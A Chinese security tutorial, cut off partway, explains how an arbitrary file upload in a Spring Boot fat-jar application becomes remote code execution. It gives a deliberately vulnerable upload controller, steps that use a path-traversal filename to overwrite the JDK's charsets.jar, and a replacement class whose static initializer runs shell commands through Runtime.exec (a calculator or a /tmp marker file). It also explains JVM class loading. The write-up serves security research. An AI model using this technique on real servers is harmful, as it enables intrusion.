前言
java任意文件写:之前都是利用 linux crontab 计划任务文件、替换 so/dll 系统文件进行劫持等一些操作系统层面的东西来实现 RCE,实际环境下因为网络联通性、文件权限等各种条件限制,都不是特别好用,所以找一个 java 代码层面的利用方法就显得很有必要。
环境
直接springboot写一个文件上传
生成基础环境
https://start.spring.io/

pom.xml依赖如下,其他默认
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 
 | <parent><groupId>org.springframework.boot</groupId>
 <artifactId>spring-boot-starter-parent</artifactId>
 <version>2.2.1.RELEASE</version>
 <relativePath/> <!-- lookup parent from repository -->
 </parent>
 
 <dependency>
 <groupId>org.springframework.boot</groupId>
 <artifactId>spring-boot-starter-web</artifactId>
 <!--            <exclusions>-->
 <!--                <exclusion>-->
 <!--                    <groupId>org.springframework.boot</groupId>-->
 <!--                    <artifactId>spring-boot-starter-tomcat</artifactId>-->
 <!--                </exclusion>-->
 <!--            </exclusions>-->
 </dependency>
 
 <!--        <dependency>-->
 <!--            <groupId>org.springframework.boot</groupId>-->
 <!--            <artifactId>spring-boot-starter-jetty</artifactId>-->
 <!--        </dependency>-->
 
 <dependency>
 <groupId>org.springframework.boot</groupId>
 <artifactId>spring-boot-starter-thymeleaf</artifactId>
 </dependency>
 
 <dependency>
 <groupId>com.alibaba</groupId>
 <artifactId>fastjson</artifactId>
 <version>1.2.76</version>
 </dependency>
 
 <dependency>
 <groupId>mysql</groupId>
 <artifactId>mysql-connector-java</artifactId>
 <version>5.1.48</version>
 </dependency>
 
 
 
 
 | 
前端自己抄一下
uploadController
代码如下:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 
 | package com.example.FatJarUploadFile;
 import org.springframework.stereotype.Controller;
 import org.springframework.web.bind.annotation.GetMapping;
 import org.springframework.web.bind.annotation.PostMapping;
 import org.springframework.web.bind.annotation.RequestParam;
 import org.springframework.web.multipart.MultipartFile;
 import org.springframework.web.servlet.mvc.support.RedirectAttributes;
 
 import java.io.IOException;
 import java.nio.file.Files;
 import java.nio.file.Path;
 import java.nio.file.Paths;
 
 @Controller
 public class UploadController {
 @GetMapping("/uploadIndex")
 public String uploadPage(){
 return "upload";
 }
 
 @GetMapping("/uploadStatus")
 public String uploadStatus() {
 return "uploadStatus";
 }
 
 @PostMapping("/upload")
 public String singleFileUpload(@RequestParam("file") MultipartFile file, RedirectAttributes redirectAttributes) {
 if (file.isEmpty()) {
 redirectAttributes.addFlashAttribute("message", "请选择文件上传");
 return "redirect:uploadStatus";
 }
 
 try {
 byte[] bytes = file.getBytes();
 Path path = Paths.get("d://public/" + file.getOriginalFilename());
 Files.write(path, bytes);
 
 redirectAttributes.addFlashAttribute("message", "上传成功!'" + file.getOriginalFilename() + "'");
 
 } catch (IOException e) {
 redirectAttributes.addFlashAttribute("message", "Server throw IOException");
 e.printStackTrace();
 }
 return "redirect:/uploadStatus";
 }
 
 }
 
 
 | 
自行测试是否上传成功,
http://127.0.0.1:18081/uploadIndex
我这里写的是传到d://public/文件夹下。

根据LandGrey师傅的说法漏洞利用步骤如下
- 
选择上传文件 charsets.jar 
- 
使用上传文件功能,上传时用 burpsuite 截住数据包,filename 修改为 …/…/usr/lib/jvm/java-1.8-openjdk/jre/lib/charsets.jar 或C:\Program Files\Java\jdk1.8.0_65\jre\lib\charsets.jar 
- 
上传成功后使用漏洞利用场景里的数据包触发漏洞(例如spring原生场景调用charset,或者fastjson调用Charset包等) 
- 
漏洞触发成功会在 /public/ 目录产生 charsets_test_[random-string].log 样式名字的文件 
- 
最后使用列目录功能查看漏洞利用是否成功 
漏洞利用条件
可参考附录常见的 jdk lib 默认目录位置,然后使用字典枚举尝试
jdk 自带文件 /jre/lib/ *.jar 没被 Opened 过
- 以 charsets.jar 文件举例:程序代码中不使用 Charset.forName(“GBK”) 类似的调用,默认就不会 Opened charsets.jar 文件
 ⚠️ 值得注意的是,只能主动触发一次 Opened*.jar文件,如果漏洞利用没有成功,则同名 jar 文件就不能再利用了
charsets.jar
写个加载runtime的java(判断一波系统,然后执行相关的代码,这里直接写的执行计算器),然后生成jar即可
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 
 | package sun.nio.cs.ext;
 import java.util.UUID;
 
 
 public class IBM33722 {
 static {
 fun();
 }
 
 public IBM33722(){
 fun();
 }
 
 private static java.util.HashMap<String, String> fun(){
 String[] command;
 String random = UUID.randomUUID().toString().replace("-","").substring(1,9);
 String osName = System.getProperty("os.name");
 if (osName.startsWith("Mac OS")) {
 command = new String[]{"/bin/bash", "-c", "open -a Calculator"};
 } else if (osName.startsWith("Windows")) {
 command = new String[]{"cmd.exe", "/c", "calc"};
 } else {
 if(new java.io.File("/bin/bash").exists()){
 command = new String[]{"/bin/bash", "-c", "touch /tmp/charsets_test_" + random + ".log"};
 }else{
 command = new String[]{"/bin/sh", "-c", "touch /tmp/charsets_test_" + random + ".log"};
 }
 }
 try{
 java.lang.Runtime.getRuntime().exec(command);
 }catch (Throwable e1){
 e1.printStackTrace();
 }
 return null;
 }
 
 
 }
 
 
 | 
类装载与类初始化
类装载 (Class loading) 和 类初始化 (Class initialization)
类装载是由 jvm 的不同 ClassLoader,包括 Bootstrap Classloder、Extention ClassLoader、App ClassLoader 和用户自定义的 Classloder 完成的。类装载通常是一个 Class 在字节码中引用另一个 Class 时被动触发的,也有通过 Classloder loadClass 和 Class forName 等方式主动触发的。
类初始化 一定发生在类装载之后,当调用类中的静态属性或者静态方法时,会被动触发类的初始化;调用 new 关键词、newInstance 方法、Class.forName 等方法时,会主动触发类的初始化。
代码描述:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 
 | classLoader.loadClass(className);
 
 
 Class.forName(className, false, classLoader);
 
 
 classLoader.loadClass(className).newInstance();
 
 
 Class.forName(className, true, classLoader);
 
 
 Class.forName(className);
 
 | 
- 类装载之后不一定会初始化,不会执行任何代码。
- 类初始化意味着类装载已经完成,会执行类中的特定代码。
总结:先把类加载进去,然后再用forName或者newInstance进行初始化,执行静态代码块。
流程
在 java 程序运行的命令行中使用 -XX:+TraceClassLoading,可以观察到像如下在控制台输出的类装载过程日志
示例代码:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 
 | import java.util.Scanner;
 public class ClassLoading {
 private static Scanner scanner = new Scanner(System.in);
 
 
 
 
 private static void promptAndWait() {
 System.out.println("请按回车");
 scanner.nextLine();
 }
 
 public static void main(String[] args) throws Exception {
 promptAndWait();
 
 Object o = new One();
 
 promptAndWait();
 
 o = new Two();
 
 promptAndWait();
 
 o = new Three();
 }
 
 }
 
 
 class One {
 }
 
 class Two {
 }
 
 class Three {
 }
 
 
 | 
| 12
 3
 
 | javac -encoding UTF-8 com\coder\zer\ClassLoading.java
 java -XX:+TraceClassLoading -cp . com.coder.zer.Classloading
 
 | 

这一装载过程会选择性地装载以下四个jar:
- rt.jar
- jfr.jar
- jsse.jar
- jce.jar
其中里面的 Opened 操作代表打开指定文件,通常表示第一次读取相关字节码到内存;Loaded 操作代表将读取的指定类的字节码进行装载。(如上代码所示,按下回车则Loaded一次指定类)
为什么要类初始化
因为类初始化时会执行 static 代码块、static 属性引用的方法等,还可能执行构造器中的代码。
控制程序在指定的写文件漏洞可控的文件范围内,主动触发初始化恶意的类,使任意写变为代码执行漏洞。
传到哪里
由于springboot会把所有资源打包到jar文件内,所以没办法写入文件到应用的 classpath 目录,但是我们可以写入到文件最底层的“系统的 classpath 目录”,即JDK HOME 目录下。
限制:只有替换 JDK HOME 目录下原有的 jar 才可行,而且还得寻找系统启动后没有进行过 Opened 操作的系统 jar 文件。(这点LandGrey师傅已经说过)
了解SPI机制
打包FatJar的依赖
| 12
 3
 4
 5
 6
 7
 8
 9
 
 | <build><plugins>
 <plugin>
 <groupId>org.springframework.boot</groupId>
 <artifactId>spring-boot-maven-plugin</artifactId>
 </plugin>
 </plugins>
 </build>
 
 
 | 
寻找可控的主动类初始化
1.spring 原生场景